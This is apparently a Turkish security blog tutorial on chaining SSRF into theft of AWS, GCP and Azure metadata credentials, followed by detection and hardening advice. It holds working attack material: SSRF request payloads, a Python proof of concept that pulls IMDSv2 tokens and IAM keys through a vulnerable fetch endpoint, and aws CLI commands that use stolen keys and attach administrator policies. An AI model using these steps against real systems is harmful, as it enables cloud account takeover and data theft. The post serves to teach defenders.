SSRF'ten Cloud Kimlik Bilgisi Hırsızlığına: Metadata API Üzerinden AWS IAM Token Çalma | Tağmaç - root@Tagoletta:~#
Contents

SSRF'ten Cloud Kimlik Bilgisi Hırsızlığına: Metadata API Üzerinden AWS IAM Token Çalma

Thu May 28 2026 · 4 min read

Category: Security Research

# Attack-Chain# Cloud# SSRF# Exploit

Giriş: Bir SSRF, Tüm Altyapıyı Tehdit Eder

SSRF (Server-Side Request Forgery) — sunucu taraflı istek sahteciliği — uygulamanın saldırganın belirlediği bir URL'ye kendi adına HTTP isteği yapmasıdır. Klasik senaryoda bu, iç ağ taraması veya yetkisiz servislere erişim için kullanılır.

Bulut ortamlarında (AWS, GCP, Azure) ise bu saldırı çok daha tehlikeli bir boyut kazanır: her VM instance'ının, yalnızca o sunucu üzerinden erişilebilen özel bir metadata servisi vardır. Bu servis, geçici IAM kimlik bilgilerini açıkça sunabilir.

2024 yılında F5 Labs, SSRF saldırılarında %452 artış raporladı. Nedeni açık: tek bir SSRF açığı, tüm bulut altyapısına giriş kapısı olabilir.

AWS Metadata Servisi (IMDSv1)

Amazon EC2 instance'larında 169.254.169.254 IP adresi, metadata servisine ayrılmıştır. Bu IP link-local'dır — yalnızca EC2 sunucusunun kendisinden erişilebilir. İnternetten doğrudan ulaşılamaz.

Ama bir SSRF varsa, sunucu bu isteği kendisi yapar.

Saldırgan → SSRF payload → Uygulama sunucusu → 169.254.169.254

Mevcut endpoint'ler:

/latest/meta-data/                          → metadata listesi
/latest/meta-data/hostname                  → sunucu adı
/latest/meta-data/iam/security-credentials/ → IAM rol adları
/latest/meta-data/iam/security-credentials/{rol-adı} → kimlik bilgileri

Adım Adım: SSRF → AWS Credential Theft

Adım 1 — SSRF noktasını bul:

Tipik SSRF vektörleri:

GET /fetch?url=http://evil.com/image.png
POST /webhook  {"callback": "http://internal"}
PDF oluşturucu: <img src="http://...">
XML/SVG parser: <!ENTITY xxe SYSTEM "http://...">

Adım 2 — IAM rol adını öğren:

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1

Yanıt:

ec2-prod-role

Adım 3 — Kimlik bilgilerini çal:

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-prod-role HTTP/1.1

Yanıt:

{
  "Code":            "Success",
  "Type":            "AWS-HMAC",
  "AccessKeyId":     "ASIA4EXAMPLE...",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/...",
  "Token":           "AQoDYXdzEJr//...",
  "Expiration":      "2026-05-28T18:00:00Z"
}

Adım 4 — Kimlik bilgilerini dışarıdan kullan:

export AWS_ACCESS_KEY_ID="ASIA4EXAMPLE..."
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/..."
export AWS_SESSION_TOKEN="AQoDYXdzEJr//..."

aws sts get-caller-identity       # Kim olduğunu doğrula
aws s3 ls                         # S3 bucket'larını listele
aws iam list-users                # Tüm IAM kullanıcıları
aws ec2 describe-instances        # Tüm EC2 instance'ları

Kimlik bilgileri son kullanma tarihine kadar herhangi bir makineden çalışır.

IMDSv2: Bypass Tekniği

AWS, bu saldırıya karşı IMDSv2 (Instance Metadata Service v2) geliştirdi. IMDSv2'de kimlik bilgilerine erişmek için önce bir session token almak gerekir:

PUT /latest/api/token HTTP/1.1
X-aws-ec2-metadata-token-ttl-seconds: 21600

Yanıt: AQAEANlW... (session token)

Ardından:

GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
X-aws-ec2-metadata-token: AQAEANlW...

IMDSv2 atlatma:

Birçok SSRF vektörü (PDF oluşturucu, XML parser, headless browser) PUT isteklerini destekler. Saldırgan önce PUT ile token alır, ardından GET ile kimlik bilgilerini çeker.

# PoC: IMDSv2 SSRF bypass (token elde et, sonra kullan)
import requests

BASE = "http://target.com/fetch?url="
META = "http://169.254.169.254"

# 1. Token al (PUT isteği)
token_resp = requests.put(
    f"{BASE}{META}/latest/api/token",
    headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
)
token = token_resp.text

# 2. IAM rol adını öğren
role_resp = requests.get(
    f"{BASE}{META}/latest/meta-data/iam/security-credentials/",
    headers={"X-aws-ec2-metadata-token": token}
)
role = role_resp.text.strip()

# 3. Kimlik bilgilerini çal
creds = requests.get(
    f"{BASE}{META}/latest/meta-data/iam/security-credentials/{role}",
    headers={"X-aws-ec2-metadata-token": token}
).json()

print(f"AccessKeyId:     {creds['AccessKeyId']}")
print(f"SecretAccessKey: {creds['SecretAccessKey']}")
print(f"Token:           {creds['Token'][:40]}...")

GCP ve Azure için Farklılıklar

Cloud Metadata URL Header Gereksinimi
AWS 169.254.169.254 IMDSv2: X-aws-ec2-metadata-token
GCP metadata.google.internal Metadata-Flavor: Google
Azure 169.254.169.254 Metadata: true

GCP örneği:

GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Metadata-Flavor: Google

Yanıt: {"access_token": "ya29.c.b0...", "expires_in": 3599, "token_type": "Bearer"}

Privilege Escalation: IAM Üzerinden Tırmanma

Çalınan kimlik bilgileriyle doğrudan tam erişim olmayabilir. Ancak IAM izinleri düzgün yapılandırılmamışsa privilege escalation mümkündür:

# Mevcut izinleri listele
aws iam list-attached-role-policies --role-name ec2-prod-role

# Kendi rolüne yönetici policy ekle (izin varsa)
aws iam attach-role-policy \
  --role-name ec2-prod-role \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Yaygın escalation yolları:

  • iam:AttachRolePolicy → herhangi bir role admin ekle
  • lambda:UpdateFunctionCode → Lambda kodunu değiştir, içinde os.system() çalıştır
  • ec2:RunInstances + iam:PassRole → yeni instance başlat, admin rol ver

Tespit

  • VPC Flow Logs: 169.254.169.254'e gelen bağlantıları izle
  • CloudTrail: Beklenmedik AssumeRole, GetCallerIdentity, ListBuckets API çağrıları
  • AWS GuardDuty: Anomaly-based IAM credential alert'leri
  • Uygulama log'ları: User-supplied URL'lerin internal IP range'e gidip gitmediğini kontrol et

Önlem

1. IMDSv2'yi zorunlu kılın:

aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-put-response-hop-limit 1

2. URL whitelist / SSRF koruması:

import ipaddress

BLOCKED_RANGES = [
    ipaddress.ip_network("169.254.0.0/16"),  # link-local
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
]

def is_safe_url(url: str) -> bool:
    host = extract_host(url)
    ip = ipaddress.ip_address(resolve(host))
    return not any(ip in r for r in BLOCKED_RANGES)

3. IAM rolleri en az yetki prensibine göre yapılandırın: EC2 instance'ına yalnızca ihtiyaç duyduğu S3 bucket'ına erişim verin, iam:* yetkisi vermeyin.

4. Outbound network kurallarını sıkılaştırın: Uygulama sunucusunun 169.254.0.0/16'ya erişimini ağ katmanında engelleyin.

Sonuç

SSRF, yalnızca iç ağ taraması gibi "düşük şiddetli" görünebilir. Bulut ortamlarında bu değerlendirme tamamen yanlıştır. Tek bir SSRF açığı → IAM token → AWS API erişimi → tüm altyapı ele geçirilmesi zinciri, dakikalar içinde gerçekleşebilir.

2024'teki %452'lik artış, saldırganların bu zinciri otomatize ettiğinin göstergesidir. Herhangi bir "URL al ve fetch et" işlemi, SSRF koruması olmaksızın cloud ortamında dağıtılmamalıdır.


Referans: F5 Labs Cloud SSRF Research (2024–2025)
İlgili: OWASP Top 10 A10 — Server-Side Request Forgery

Sıkça Sorulan Sorular

SSRF nasıl cloud hesabı ele geçirmeye yol açar?

Server-Side Request Forgery, saldırganın sunucuya bulut örneği metadata uç noktasına (169.254.169.254) istek yaptırmasına imkan verir; bu uç nokta, saldırganın ardından bulut hesabına erişmek için kullandığı geçici IAM kimlik bilgilerini döndürebilir.

IMDSv2 nedir ve nasıl yardımcı olur?

AWS Instance Metadata Service v2, hop limitli bir PUT isteğiyle alınan bir oturum token'ı gerektirir; çoğu SSRF primitifi bunu gerçekleştiremez. IMDSv2'yi zorunlu kılmak, en basit metadata tabanlı SSRF kimlik bilgisi hırsızlığını engeller.

AWS, GCP ve Azure'da hangi metadata uç noktaları hedeflenir?

Üçü de 169.254.169.254 adresini kullanır; GCP ve Azure ayrıca Metadata-Flavor veya Metadata header'ı ister; SSRF header kontrolüne izin veriyorsa saldırgan bunu ekler. Bu yollar servis hesabı token'larını veya IAM rol kimlik bilgilerini döndürür.

SSRF'e karşı nasıl savunma yapılır?

IMDSv2'yi zorunlu kılın (kullanılmayan yerlerde metadata'yı kapatın), giden hedefleri doğrulayıp allowlist uygulayın, link-local ve özel IP aralıklarını engelleyin, DNS rebinding'i önlemek için hostname'leri yeniden çözüp kontrol edin ve en az yetkili IAM rolleri uygulayın.